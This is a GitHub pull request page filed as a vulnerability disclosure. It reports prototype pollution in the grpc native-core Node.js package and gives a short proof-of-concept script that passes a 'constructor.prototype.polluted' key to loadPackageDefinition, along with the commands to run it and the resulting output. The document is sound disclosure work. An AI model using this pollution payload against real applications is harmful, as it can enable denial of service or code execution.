Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution in grpc-node/native-core #1753

Closed
wants to merge 3 commits into from
Closed

Prototype Pollution in grpc-node/native-core #1753

wants to merge 3 commits into from

Conversation

d3v53c
Copy link
Contributor

@d3v53c d3v53c commented Jan 22, 2021

✍️ Description

grpc native-core is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
var grpc =require('grpc')
grpc.loadPackageDefinition({'constructor.prototype.polluted': "Yes! Its Polluted"});
console.log({}.polluted)
  1. Execute the following commands in another terminal:
npm i grpc # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
[Function: ServiceClient] { service: 'Yes! Its Polluted' }

💥 Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.

☎️ Contact

✅ Checklist

  • Created and populated the README.md and vulnerability.json files
  • Provided the repository URL and any applicable permalinks
  • Defined all the applicable weaknesses (CWEs)
  • Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
  • Checked that the vulnerability affects the latest version of the package released
  • Checked that a fix does not currently exist that remediates this vulnerability
  • Complied with all applicable laws

@huntr-helper huntr-helper added the disclosure Vulnerability disclosure label Jan 22, 2021
@d3v53c
Copy link
Contributor Author

d3v53c commented Jan 22, 2021

@JamieSlome , @Mik317 , This issue was already reported and closed. But, the fix applied was apparently merged to another package in the same repository. This vulnerability is still present in the package, though.

Mentioning the relevant PRs, PR #1, PR #2

@d3v53c d3v53c closed this Jan 22, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
disclosure Vulnerability disclosure
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants